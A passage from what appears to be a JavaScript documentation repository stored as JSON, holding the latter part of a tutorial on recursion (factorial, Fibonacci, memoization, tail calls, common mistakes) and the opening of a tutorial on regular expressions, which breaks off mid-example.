tool.\n\n<Note>\nThe examples below assume valid, non-negative integer inputs. In production code, you'd want to validate inputs and handle edge cases like negative numbers or non-integers.\n</Note>\n\n<AccordionGroup>\n  <Accordion title=\"Factorial (n!)\">\n    The factorial of a number `n` (written as `n!`) is the product of all positive integers from 1 to n:\n    \n    - `5! = 5 × 4 × 3 × 2 × 1 = 120`\n    - `3! = 3 × 2 × 1 = 6`\n    - `1! = 1`\n    - `0! = 1` (by definition)\n    \n    The recursive insight: `n! = n × (n-1)!`\n    \n    ```javascript\n    function factorial(n) {\n      // Base case: 0! and 1! both equal 1\n      if (n <= 1) {\n        return 1\n      }\n      \n      // Recursive case: n! = n × (n-1)!\n      return n * factorial(n - 1)\n    }\n    \n    console.log(factorial(5))  // 120\n    console.log(factorial(0))  // 1\n    console.log(factorial(1))  // 1\n    ```\n    \n    **Trace of `factorial(4)`:**\n    ```\n    factorial(4) = 4 * factorial(3)\n                 = 4 * (3 * factorial(2))\n                 = 4 * (3 * (2 * factorial(1)))\n                 = 4 * (3 * (2 * 1))\n                 = 4 * (3 * 2)\n                 = 4 * 6\n                 = 24\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Fibonacci Sequence\">\n    The Fibonacci sequence starts with 0 and 1, and each subsequent number is the sum of the two before it:\n    \n    `0, 1, 1, 2, 3, 5, 8, 13, 21, 34, ...`\n    \n    The recursive definition:\n    - `fib(0) = 0`\n    - `fib(1) = 1`\n    - `fib(n) = fib(n-1) + fib(n-2)` for n > 1\n    \n    ```javascript\n    function fibonacci(n) {\n      // Base cases\n      if (n === 0) return 0\n      if (n === 1) return 1\n      \n      // Recursive case: sum of two preceding numbers\n      return fibonacci(n - 1) + fibonacci(n - 2)\n    }\n    \n    console.log(fibonacci(0))   // 0\n    console.log(fibonacci(1))   // 1\n    console.log(fibonacci(6))   // 8\n    console.log(fibonacci(10))  // 55\n    ```\n    \n    <Warning>\n    **Performance trap!** This naive implementation is very slow for large numbers. `fibonacci(40)` makes over 300 million function calls because it recalculates the same values repeatedly. We'll fix this with memoization later.\n    </Warning>\n    \n    ```\n    fibonacci(5) calls:\n                          fib(5)\n                         /      \\\n                    fib(4)      fib(3)      ← fib(3) calculated twice!\n                   /     \\      /    \\\n               fib(3)  fib(2) fib(2) fib(1)\n              /    \\\n          fib(2)  fib(1)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Sum of Numbers (1 to n)\">\n    Sum all integers from 1 to n:\n    \n    ```javascript\n    function sumTo(n) {\n      if (n <= 1) return n\n      return n + sumTo(n - 1)\n    }\n    \n    console.log(sumTo(5))    // 15 (1+2+3+4+5)\n    console.log(sumTo(100))  // 5050\n    console.log(sumTo(0))    // 0\n    ```\n    \n    **Note:** There's a mathematical formula for this: `n * (n + 1) / 2`, which is O(1) instead of O(n). For simple sums, the formula is better. But the recursive approach teaches the pattern.\n  </Accordion>\n  \n  <Accordion title=\"Power Function (x^n)\">\n    Calculate `x` raised to the power of `n`:\n    \n    ```javascript\n    function power(x, n) {\n      // Base case: anything to the power of 0 is 1\n      if (n === 0) return 1\n      \n      // Recursive case: x^n = x * x^(n-1)\n      return x * power(x, n - 1)\n    }\n    \n    console.log(power(2, 0))   // 1\n    console.log(power(2, 3))   // 8\n    console.log(power(2, 10))  // 1024\n    console.log(power(3, 4))   // 81\n    ```\n    \n    **Optimized version** using the property that `x^n = (x^(n/2))^2`:\n    \n    ```javascript\n    function powerFast(x, n) {\n      if (n === 0) return 1\n      \n      if (n % 2 === 0) {\n        // Even exponent: x^n = (x^(n/2))^2\n        const half = powerFast(x, n / 2)\n        return half * half\n      } else {\n        // Odd exponent: x^n = x * x^(n-1)\n        return x * powerFast(x, n - 1)\n      }\n    }\n    \n    console.log(powerFast(2, 10))  // 1024 (but faster!)\n    ```\n    \n    The optimized version runs in O(log n) time instead of O(n).\n  </Accordion>\n  \n  <Accordion title=\"Reverse a String\">\n    Reverse a string character by character:\n    \n    ```javascript\n    function reverse(str) {\n      // Base case: empty string or single character\n      if (str.length <= 1) {\n        return str\n      }\n      \n      // Recursive case: last char + reverse of the rest\n      return str[str.length - 1] + reverse(str.slice(0, -1))\n    }\n    \n    console.log(reverse(\"hello\"))  // \"olleh\"\n    console.log(reverse(\"a\"))      // \"a\"\n    console.log(reverse(\"\"))       // \"\"\n    ```\n    \n    **How it works:**\n    ```\n    reverse(\"cat\")\n    = \"t\" + reverse(\"ca\")\n    = \"t\" + (\"a\" + reverse(\"c\"))\n    = \"t\" + (\"a\" + \"c\")\n    = \"t\" + \"ac\"\n    = \"tac\"\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Practical Use Cases\n\nRecursion really shines when working with **nested or tree-like structures**. These [data structures](/concepts/data-structures) are naturally recursive, and recursion is often the most elegant solution.\n\n### Traversing Nested Objects\n\nImagine you need to find all values in a deeply nested object:\n\n```javascript\nconst data = {\n  name: \"Company\",\n  departments: {\n    engineering: {\n      frontend: { count: 5 },\n      backend: { count: 8 }\n    },\n    sales: { count: 12 }\n  }\n}\n\nfunction findAllCounts(obj) {\n  let total = 0\n  \n  for (const key in obj) {\n    if (key === \"count\") {\n      total += obj[key]\n    } else if (typeof obj[key] === \"object\" && obj[key] !== null) {\n      // Recurse into nested objects\n      total += findAllCounts(obj[key])\n    }\n  }\n  \n  return total\n}\n\nconsole.log(findAllCounts(data))  // 25\n```\n\nWithout recursion, you'd need to know exactly how deep the nesting goes. With recursion, it handles any depth automatically.\n\n### Flattening Nested Arrays\n\nTurn a deeply nested array into a flat one:\n\n```javascript\nfunction flatten(arr) {\n  let result = []\n  \n  for (const item of arr) {\n    if (Array.isArray(item)) {\n      // Recurse into nested arrays\n      result = result.concat(flatten(item))\n    } else {\n      result.push(item)\n    }\n  }\n  \n  return result\n}\n\nconsole.log(flatten([1, [2, [3, 4]], 5]))\n// [1, 2, 3, 4, 5]\n\nconsole.log(flatten([1, [2, [3, [4, [5]]]]]))\n// [1, 2, 3, 4, 5]\n```\n\n### Walking the DOM Tree\n\nTraverse all elements in an HTML document:\n\n```javascript\nfunction walkDOM(node, callback) {\n  // Process this node\n  callback(node)\n  \n  // Recurse into child nodes\n  for (const child of node.children) {\n    walkDOM(child, callback)\n  }\n}\n\n// Example: log all tag names\nwalkDOM(document.body, (node) => {\n  console.log(node.tagName)\n})\n```\n\nThis pattern combines recursion with [higher-order functions](/concepts/higher-order-functions) (the callback). It's how browser developer tools display the DOM tree and how libraries traverse HTML structures.\n\n### Processing Linked Lists\n\nA linked list is a classic recursive data structure where each node points to the next:\n\n```javascript\nconst list = {\n  value: 1,\n  next: {\n    value: 2,\n    next: {\n      value: 3,\n      next: null\n    }\n  }\n}\n\n// Sum all values in the list\nfunction sumList(node) {\n  if (node === null) return 0\n  return node.value + sumList(node.next)\n}\n\nconsole.log(sumList(list))  // 6\n\n// Print list in reverse order\nfunction printReverse(node) {\n  if (node === null) return\n  printReverse(node.next)  // First, go to the end\n  console.log(node.value)  // Then print on the way back\n}\n\nprintReverse(list)\n// 3\n// 2\n// 1\n```\n\n### File System Traversal\n\nA conceptual example of how file explorers work:\n\n```javascript\n// Simulated file structure\nconst fileSystem = {\n  name: \"root\",\n  type: \"folder\",\n  children: [\n    { name: \"file1.txt\", type: \"file\", size: 100 },\n    {\n      name: \"docs\",\n      type: \"folder\",\n      children: [\n        { name: \"readme.md\", type: \"file\", size: 50 },\n        { name: \"notes.txt\", type: \"file\", size: 25 }\n      ]\n    }\n  ]\n}\n\nfunction getTotalSize(node) {\n  if (node.type === \"file\") {\n    return node.size\n  }\n  \n  // Folder: sum sizes of all children\n  let total = 0\n  for (const child of node.children) {\n    total += getTotalSize(child)\n  }\n  return total\n}\n\nconsole.log(getTotalSize(fileSystem))  // 175\n```\n\n---\n\n## Recursion vs Iteration\n\nEvery recursive solution can be rewritten using loops, and vice versa. Here's when to choose each:\n\n| Aspect | Recursion | Iteration (Loops) |\n|--------|-----------|-------------------|\n| **Readability** | Often cleaner for tree-like problems | Usually simpler for linear tasks |\n| **Memory** | Uses call stack (one frame per call) | Uses fixed/minimal memory |\n| **Performance** | Function call overhead | Generally faster |\n| **Stack Risk** | Stack overflow possible (~10,000+ calls) | No stack overflow risk |\n| **Best For** | Trees, graphs, nested structures | Simple counting, linear arrays |\n\n<Tabs>\n  <Tab title=\"Recursive\">\n    ```javascript\n    // Recursive factorial\n    function factorial(n) {\n      if (n <= 1) return 1\n      return n * factorial(n - 1)\n    }\n    ```\n    \n    **Pros:** Matches the mathematical definition exactly. Easy to read.\n    \n    **Cons:** Uses O(n) stack space. Could overflow for large n.\n  </Tab>\n  <Tab title=\"Iterative\">\n    ```javascript\n    // Iterative factorial\n    function factorial(n) {\n      let result = 1\n      for (let i = 2; i <= n; i++) {\n        result *= i\n      }\n      return result\n    }\n    ```\n    \n    **Pros:** Uses O(1) space. No stack overflow risk. Faster.\n    \n    **Cons:** Slightly less intuitive mapping to the math.\n  </Tab>\n</Tabs>\n\n### When to Use Recursion\n\n- **Tree structures**: DOM traversal, file systems, org charts\n- **Divide and conquer algorithms**: Merge sort, quick sort, binary search\n- **Problems with self-similar subproblems**: Factorial, Fibonacci, fractals\n- **When code clarity matters more than performance**: Prototyping, readable code\n\n### When to Use Iteration\n\n- **Simple loops**: Counting, summing arrays\n- **Performance-critical code**: Tight loops in hot paths\n- **Very deep structures**: Anything that might exceed ~10,000 levels\n- **Memory-constrained environments**: Each recursive call uses stack space\n\n<Tip>\n**Rule of thumb:** Start with whichever approach feels more natural for the problem. If you run into stack overflow issues or performance problems, consider converting to iteration.\n</Tip>\n\n---\n\n## Common Mistakes\n\nHere are the most frequent bugs when writing recursive functions:\n\n### Mistake #1: Missing or Incorrect Base Case\n\nWithout a base case, the function calls itself forever until the stack overflows:\n\n```javascript\n// ❌ WRONG - No base case!\nfunction countdown(n) {\n  console.log(n)\n  countdown(n - 1)  // Never stops!\n}\n\ncountdown(3)  // 3, 2, 1, 0, -1, -2... CRASH!\n// RangeError: Maximum call stack size exceeded\n```\n\n```javascript\n// ✓ CORRECT - Has a base case\nfunction countdown(n) {\n  if (n < 0) return  // Base case: stop at negative\n  console.log(n)\n  countdown(n - 1)\n}\n\ncountdown(3)  // 3, 2, 1, 0 (then stops)\n```\n\n<Warning>\n**The error you'll see:** `RangeError: Maximum call stack size exceeded`. This means you've made too many recursive calls without returning. Check your base case!\n</Warning>\n\n### Mistake #2: Base Case That's Never Reached\n\nEven with a base case, if your logic never reaches it, you'll still crash:\n\n```javascript\n// ❌ WRONG - Base case can never be reached\nfunction countdown(n) {\n  if (n === 0) return  // Only stops at exactly 0\n  console.log(n)\n  countdown(n - 2)  // Skips over 0 when starting with odd number!\n}\n\ncountdown(5)  // 5, 3, 1, -1, -3... CRASH!\n```\n\n```javascript\n// ✓ CORRECT - Base case is reachable\nfunction countdown(n) {\n  if (n <= 0) return  // Stops at 0 or below\n  console.log(n)\n  countdown(n - 2)\n}\n\ncountdown(5)  // 5, 3, 1 (then stops)\n```\n\n### Mistake #3: Forgetting to Return the Recursive Call\n\nIf you call the function recursively but don't return its result, you lose the value:\n\n```javascript\n// ❌ WRONG - Missing return\nfunction sum(n) {\n  if (n === 1) return 1\n  sum(n - 1) + n  // Calculated but not returned!\n}\n\nconsole.log(sum(5))  // undefined\n```\n\n```javascript\n// ✓ CORRECT - Returns the result\nfunction sum(n) {\n  if (n === 1) return 1\n  return sum(n - 1) + n  // Return the calculation\n}\n\nconsole.log(sum(5))  // 15\n```\n\n### Mistake #4: Modifying Shared State\n\nBe careful about variables outside the function that recursive calls might all modify:\n\n```javascript\n// ❌ PROBLEMATIC - Shared mutable state\nlet count = 0\n\nfunction countNodes(node) {\n  if (node === null) return\n  count++  // All calls modify the same variable\n  countNodes(node.left)\n  countNodes(node.right)\n}\n// If you call countNodes twice, count keeps increasing!\n```\n\n```javascript\n// ✓ BETTER - Return values instead of mutating\nfunction countNodes(node) {\n  if (node === null) return 0\n  return 1 + countNodes(node.left) + countNodes(node.right)\n}\n// Each call is independent\n```\n\n### Mistake #5: Inefficient Overlapping Subproblems\n\nThe naive Fibonacci implementation recalculates the same values many times:\n\n```javascript\n// ❌ VERY SLOW - Exponential time complexity\nfunction fib(n) {\n  if (n <= 1) return n\n  return fib(n - 1) + fib(n - 2)\n}\n\nfib(40)  // Takes several seconds!\nfib(50)  // Takes minutes or crashes\n```\n\nThis is fixed with memoization, covered in the next section.\n\n---\n\n## Optimizing Recursive Functions\n\n### Memoization\n\n**Memoization** means caching the results of function calls so you don't recompute the same thing twice. It's especially useful for recursive functions with overlapping subproblems.\n\n```javascript\n// Fibonacci with memoization\nfunction fibonacci(n, memo = {}) {\n  // Check if we already calculated this\n  if (n in memo) {\n    return memo[n]\n  }\n  \n  // Base cases\n  if (n <= 1) return n\n  \n  // Calculate and cache the result\n  memo[n] = fibonacci(n - 1, memo) + fibonacci(n - 2, memo)\n  return memo[n]\n}\n\nconsole.log(fibonacci(50))   // 12586269025 (instant!)\nconsole.log(fibonacci(100))  // 354224848179262000000 (still instant!)\n```\n\nThe naive Fibonacci has O(2^n) time complexity. With memoization, it's O(n). That's the difference between billions of operations and just 100.\n\n### Tail Recursion\n\nA **tail recursive** function is one where the recursive call is the very last thing the function does. There's no computation after the call returns.\n\n```javascript\n// NOT tail recursive - multiplication happens AFTER the recursive call\nfunction factorial(n) {\n  if (n <= 1) return 1\n  return n * factorial(n - 1)  // Still need to multiply after call returns\n}\n\n// Tail recursive version - uses an accumulator\nfunction factorialTail(n, accumulator = 1) {\n  if (n <= 1) return accumulator\n  return factorialTail(n - 1, accumulator * n)  // Nothing to do after this returns\n}\n```\n\n**Why does this matter?** In theory, tail recursive functions can be optimized by the JavaScript engine to reuse the same stack frame, avoiding stack overflow entirely. This is called **Tail Call Optimization (TCO)**.\n\n<Note>\n**Reality check:** Most JavaScript engines (V8 in Chrome/Node, SpiderMonkey in Firefox) **do not implement TCO**. Safari's JavaScriptCore is the notable exception — it has supported TCO since 2016. So in practice, tail recursion doesn't prevent stack overflow in most environments. The [ECMAScript 2015 specification](https://tc39.es/ecma262/#sec-tail-position-calls) does define tail call optimization in strict mode, but engine adoption remains limited. Still, it's good to understand the concept, as it's important in functional programming languages like Haskell and Scheme.\n</Note>\n\n### Converting to Iteration\n\nIf you're hitting stack limits, consider converting your recursion to a loop with an explicit stack:\n\n```javascript\n// Recursive tree traversal\nfunction sumTreeRecursive(node) {\n  if (node === null) return 0\n  return node.value + sumTreeRecursive(node.left) + sumTreeRecursive(node.right)\n}\n\n// Iterative version using explicit stack\nfunction sumTreeIterative(root) {\n  if (root === null) return 0\n  \n  let sum = 0\n  const stack = [root]\n  \n  while (stack.length > 0) {\n    const node = stack.pop()\n    sum += node.value\n    \n    if (node.right) stack.push(node.right)\n    if (node.left) stack.push(node.left)\n  }\n  \n  return sum\n}\n```\n\nThe iterative version uses heap memory (the array) instead of stack memory, so it can handle much deeper structures.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Recursion = a function calling itself** to solve smaller versions of the same problem\n\n2. **Every recursive function needs a base case** that stops the recursion without making another call\n\n3. **The recursive case** breaks the problem into a smaller piece and calls the function again\n\n4. **Recursion uses the call stack** — each call adds a new frame with its own local variables\n\n5. **The base case must be reachable** — if it's not, you'll get infinite recursion and a stack overflow\n\n6. **Recursion shines for tree-like structures**: DOM traversal, nested objects, file systems, linked lists\n\n7. **Loops are often better for simple iteration** — less overhead, no stack overflow risk\n\n8. **Watch for stack overflow** on deep recursion (most browsers limit to ~10,000 calls)\n\n9. **Memoization fixes inefficient recursion** by caching results of repeated subproblems\n\n10. **Recursion isn't JavaScript-specific** — it's a universal programming technique you'll use in any language\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What are the two essential parts of a recursive function?\">\n    **Answer:**\n    \n    1. **Base case**: The condition that stops the recursion. It returns a value without making another recursive call.\n    \n    2. **Recursive case**: The part where the function calls itself with a simpler or smaller version of the problem.\n    \n    ```javascript\n    function example(n) {\n      if (n === 0) return \"done\"  // Base case\n      return example(n - 1)       // Recursive case\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What happens if you forget the base case?\">\n    **Answer:**\n    \n    The function calls itself infinitely until JavaScript throws a `RangeError: Maximum call stack size exceeded`. This is called a **stack overflow** because each call adds a frame to the call stack until it runs out of memory.\n    \n    ```javascript\n    // This will crash\n    function broken(n) {\n      return broken(n - 1)  // No base case to stop!\n    }\n    broken(5)  // RangeError: Maximum call stack size exceeded\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Write a recursive function to find the length of an array without using .length\">\n    **Answer:**\n    \n    ```javascript\n    function arrayLength(arr) {\n      // Base case: empty array has length 0\n      if (arr.length === 0) return 0\n      \n      // Recursive case: 1 + length of the rest\n      return 1 + arrayLength(arr.slice(1))\n    }\n    \n    console.log(arrayLength([1, 2, 3, 4]))  // 4\n    console.log(arrayLength([]))            // 0\n    ```\n    \n    Note: We use `.length` only to check if the array is empty (our base case). The actual counting happens through recursion, not by directly returning `.length`.\n  </Accordion>\n  \n  <Accordion title=\"Why is naive Fibonacci recursion inefficient, and how would you fix it?\">\n    **Answer:**\n    \n    Naive Fibonacci recalculates the same values many times. For example, `fib(5)` calculates `fib(3)` twice, `fib(2)` three times, etc. This leads to exponential O(2^n) time complexity.\n    \n    **The fix: Memoization.** Cache results so each value is only calculated once:\n    \n    ```javascript\n    function fibonacci(n, memo = {}) {\n      if (n in memo) return memo[n]\n      if (n <= 1) return n\n      \n      memo[n] = fibonacci(n - 1, memo) + fibonacci(n - 2, memo)\n      return memo[n]\n    }\n    ```\n    \n    This reduces the time complexity to O(n).\n  </Accordion>\n  \n  <Accordion title=\"When should you choose recursion over a loop?\">\n    **Answer:**\n    \n    **Choose recursion when:**\n    - Working with tree-like or nested structures (DOM, file systems, JSON)\n    - The problem naturally divides into self-similar subproblems\n    - Code clarity is more important than maximum performance\n    - Implementing divide-and-conquer algorithms\n    \n    **Choose loops when:**\n    - Iterating through flat, linear data\n    - Performance is critical\n    - You might recurse more than ~10,000 levels deep\n    - Memory is constrained\n  </Accordion>\n  \n  <Accordion title=\"How does recursion relate to the call stack?\">\n    **Answer:**\n    \n    Each recursive call creates a new **execution context** that gets pushed onto the call stack. The function waits for its recursive call to return, keeping its context on the stack.\n    \n    When the base case is reached, contexts start popping off the stack as return values bubble back up. This is why deep recursion can cause stack overflow — too many contexts waiting at once.\n    \n    ```\n    sumTo(3) calls → sumTo(2) calls → sumTo(1)\n    \n    Stack: [sumTo(3), sumTo(2), sumTo(1)]\n                                    ↓ returns 1\n    Stack: [sumTo(3), sumTo(2)]\n                       ↓ returns 3\n    Stack: [sumTo(3)]\n              ↓ returns 6\n    Stack: []\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is recursion in JavaScript?\">\n    Recursion is when a function calls itself to solve a problem by breaking it into smaller instances of the same problem. Every recursive function needs a base case (when to stop) and a recursive case (how to reduce the problem). As [MDN's glossary](https://developer.mozilla.org/en-US/docs/Glossary/Recursion) defines it, recursion is an act of a function calling itself until a termination condition is met.\n  </Accordion>\n\n  <Accordion title=\"What happens if I forget the base case?\">\n    Without a base case, the function calls itself indefinitely until the JavaScript engine runs out of call stack space and throws a `RangeError: Maximum call stack size exceeded`. Most browsers limit the stack to around 10,000–25,000 frames. Always ensure your base case is reachable from every possible input.\n  </Accordion>\n\n  <Accordion title=\"When should I use recursion instead of loops?\">\n    Recursion excels with naturally recursive data structures like trees, nested objects, and linked lists. For simple iteration over arrays or counting, a `for` loop is typically clearer and more performant. If the problem involves branching paths (like traversing a file system or DOM tree), recursion is usually the more natural solution.\n  </Accordion>\n\n  <Accordion title=\"Does JavaScript support tail call optimization?\">\n    The [ECMAScript 2015 specification](https://tc39.es/ecma262/#sec-tail-position-calls) defines tail call optimization in strict mode, but most engines have not implemented it. Safari's JavaScriptCore is the only major engine with TCO support. In practice, use memoization or convert deep recursion to iteration when stack depth is a concern.\n  </Accordion>\n\n  <Accordion title=\"How deep can recursion go in JavaScript?\">\n    The maximum recursion depth depends on the JavaScript engine and available memory. Chrome's V8 typically allows around 10,000–15,000 stack frames, while other engines vary. For problems requiring deep recursion, consider converting to an iterative approach using an explicit stack data structure.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Call Stack\" icon=\"layer-group\" href=\"/concepts/call-stack\">\n    How JavaScript tracks function execution — the foundation of how recursion works under the hood.\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"function\" href=\"/concepts/higher-order-functions\">\n    Functions that take or return other functions. Many recursive patterns combine with higher-order functions.\n  </Card>\n  <Card title=\"Data Structures\" icon=\"sitemap\" href=\"/concepts/data-structures\">\n    Trees, linked lists, and graphs — data structures that are naturally recursive.\n  </Card>\n  <Card title=\"Pure Functions\" icon=\"sparkles\" href=\"/concepts/pure-functions\">\n    Functions with no side effects. Recursive functions work best when they're pure.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Recursion — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Recursion\">\n    Official MDN definition with common examples including factorial, Fibonacci, and reduce.\n  </Card>\n  <Card title=\"Functions Guide: Recursion — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#recursion\">\n    MDN's guide on recursive functions in JavaScript with DOM traversal examples.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Recursion and Stack\" icon=\"newspaper\" href=\"https://javascript.info/recursion\">\n    The definitive JavaScript recursion tutorial. Covers execution context, linked lists, and recursive data structures with interactive examples.\n  </Card>\n  <Card title=\"What is Recursion? A Recursive Function Explained\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/what-is-recursion-in-javascript/\">\n    Beginner-friendly introduction with step-by-step breakdowns. Great for understanding the \"why\" behind recursion.\n  </Card>\n</CardGroup>\n\n<CardGroup cols={2}>\n  <Card title=\"Recursion Explained (with Examples)\" icon=\"newspaper\" href=\"https://dev.to/christinamcmahon/recursion-explained-with-examples-4k1m\">\n    Visual explanation of factorial and Fibonacci with tree diagrams. Includes memoization introduction.\n  </Card>\n  <Card title=\"JavaScript Recursive Function\" icon=\"newspaper\" href=\"https://www.javascripttutorial.net/javascript-recursive-function/\">\n    Clear tutorial covering recursive function basics, countdowns, and sum calculations with detailed step-by-step explanations.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"What Is Recursion - In Depth\" icon=\"video\" href=\"https://www.youtube.com/watch?v=6oDQaB2one8\">\n    Web Dev Simplified breaks down recursion with clear visuals and practical examples. Great for visual learners.\n  </Card>\n  <Card title=\"Recursion\" icon=\"video\" href=\"https://www.youtube.com/watch?v=k7-N8R0-KY4\">\n    Fun Fun Function's engaging explanation of recursion with personality and deeper conceptual insights.\n  </Card>\n</CardGroup>\n\n<CardGroup cols={2}>\n  <Card title=\"Recursion Crash Course\" icon=\"video\" href=\"https://www.youtube.com/watch?v=lMBVwYrmFZQ\">\n    Colt Steele's practical crash course on recursion, perfect for interview preparation.\n  </Card>\n  <Card title=\"What on Earth is Recursion?\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Mv9NEXX1VHc\">\n    Computerphile explains recursion from a computer science perspective with great conceptual depth.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/regular-expressions.mdx",
    "content": "---\ntitle: \"Regular Expressions\"\nsidebarTitle: \"Regular Expressions: Pattern Matching\"\ndescription: \"Learn regular expressions in JavaScript. Pattern syntax, character classes, quantifiers, flags, and methods like test and match.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"regular expressions, regex patterns, pattern matching, character classes, quantifiers\"\n---\n\nHow do you check if an email address is valid? How do you find and replace all phone numbers in a document? How can you extract hashtags from a tweet?\n\n```javascript\n// Check if a string contains only digits\nconst isAllDigits = /^\\d+$/.test('12345')\nconsole.log(isAllDigits)  // true\n\n// Find all words starting with capital letters\nconst text = 'Hello World from JavaScript'\nconst capitalWords = text.match(/\\b[A-Z][a-z]*\\b/g)\nconsole.log(capitalWords)  // [\"Hello\", \"World\"]\n```\n\nThe answer is **[regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions)** (often called \"regex\" or \"regexp\"). They're patterns that describe what you're looking for in text, and JavaScript has powerful built-in support for them.\n\n<Info>\n**What you'll learn in this guide:**\n- Creating regex with literals (`/pattern/`) and the `RegExp` constructor\n- Character classes, quantifiers, and anchors\n- Key methods: `test()`, `match()`, `replace()`, `split()`\n- Capturing groups for extracting parts of matches\n- Flags that change how patterns match\n- Common real-world patterns (email, phone, URL)\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you're comfortable with [strings](/concepts/primitive-types) in JavaScript. You don't need any prior regex experience — we'll start from the basics.\n</Warning>\n\n---\n\n## What Are Regular Expressions?\n\nA **[regular expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)** is a pattern used to match character combinations in strings. In JavaScript, regex are objects that you can use with string methods to search, validate, extract, and replace text. They use a special syntax where characters like `\\d`, `*`, and `^` have special meanings beyond their literal values. Regular expressions have been part of JavaScript since its first version in 1995, and the [ECMAScript specification](https://tc39.es/ecma262/#sec-regexp-regular-expression-objects) has steadily expanded their capabilities — adding features like named capture groups (ES2018), lookbehind assertions (ES2018), and the `d` flag for match indices (ES2022).\n\n### Two Ways to Create Regex\n\n```javascript\n// 1. Literal syntax (preferred for static patterns)\nconst pattern1 = /hello/\n\n// 2. Constructor syntax (useful for dynamic patterns)\nconst pattern2 = new RegExp('hello')\n\n// Both work the same way\nconsole.log(pattern1.test('hello world'))  // true\nconsole.log(pattern2.test('hello world'))  // true\n```\n\nUse the literal syntax when you know the pattern ahead of time. Use the constructor when you need to build patterns dynamically, like from user input. As [MDN explains](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions), literal regex are compiled when the script loads, while `RegExp` constructor patterns are compiled at runtime — making literals slightly more efficient for static patterns:\n\n```javascript\nfunction findWord(text, word) {\n  const pattern = new RegExp(word, 'gi')  // case-insensitive, global\n  return text.match(pattern)\n}\n\nconsole.log(findWord('Hello hello HELLO', 'hello'))  // [\"Hello\", \"hello\", \"HELLO\"]\n```\n\n---\n\n## The Detective Analogy\n\nThink of regex like giving a detective a description to find suspects in a crowd:\n\n- **Literal characters** (`abc`) — \"Find someone named 'abc'\"\n- **Character classes** (`[aeiou]`) — \"Find someone with a vowel in their name\"\n- **Quantifiers** (`a+`) — \"Find someone with one or more 'a's in their name\"\n- **Anchors** (`^`, `$`) — \"They must be at the start/end of the line\"\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         REGEX PATTERN MATCHING                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Pattern: /\\d{3}-\\d{4}/          String: \"Call 555-1234 today\"         │\n│                                                                          │\n│   Step 1: Find 3 digits (\\d{3})   →  \"555\" ✓                            │\n│   Step 2: Find a hyphen (-)       →  \"-\"   ✓                            │\n│   Step 3: Find 4 digits (\\d{4})   →  \"1234\" ✓                           │\n│                                                                          │\n│   Result: Match found! → \"555-1234\"                                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Building Blocks: Character Classes\n\nCharacter classes let you match *types* of characters rather than specific ones.\n\n| Pattern | Matches | Example |\n|---------|---------|---------|\n| `.` | Any character except newline | `/a.c/` matches \"abc\", \"a1c\", \"a-c\" |\n| `\\d` | Any digit [0-9] | `/\\d{3}/` matches \"123\" |\n| `\\D` | Any non-digit | `/\\D+/` matches \"abc\" |\n| `\\w` | Word character [A-Za-z0-9_] | `/\\w+/` matches \"hello_123\" |\n| `\\W` | Non-word character | `/\\W/` matches \"!\" or \" \" |\n| `\\s` | Whitespace (space, tab, newline) | `/\\s+/` matches \"   \" |\n| `\\S` | Non-whitespace | `/\\S+/` matches \"hello\" |\n| `[abc]` | Any of a, b, or c | `/[aeiou]/` matches any vowel |\n| `[^abc]` | Not a, b, or c | `/[^0-9]/` matches non-digits |\n| `[a-z]` | Character range | `/[A-Za-z]/` matches any letter |\n\n```javascript\n// Match a phone number pattern: 3 digits, hyphen, 4 digits\nconst phone = /\\d{3}-\\d{4}/\nconsole.log(phone.test('555-1234'))  // true\nconsole.log(phone.test('55-1234'))   // false\n\n// Match words (letters, digits, underscores)\nconst words = 'hello_world 123 test!'\nconsole.log(words.match(/\\w+/g))  // [\"hello_world\", \"123\", \"test\"]\n```\n\n---\n\n## Building Blocks: Quantifiers\n\nQuantifiers specify how many times a pattern should repeat.\n\n| Quantifier | Meaning | Example |\n|------------|---------|---------|\n| `*` | 0 or more | `/ab*c/` matches \"ac\", \"abc\", \"abbbbc\" |\n| `+` | 1 or more | `/ab+c/` matches \"abc\", \"abbbbc\" (not \"ac\") |\n| `?` | 0 or 1 (optional) | `/colou?r/` matches \"color\", \"colour\" |\n| `{n}` | Exactly n times | `/\\d{4}/` matches \"2024\" |\n| `{n,}` | n or more times | `/\\d{2,}/` matches \"12\", \"123\", \"1234\" |\n| `{n,m}` | Between n and m times | `/\\d{2,4}/` matches \"12\", \"123\", \"1234\" |\n\n```javascript\n// Match optional 's' for plural\nconst plural = /apple(s)?/\nconsole.log(plural.test('apple'))   // true\nconsole.log(plural.test('apples'))  // true\n\n// Match 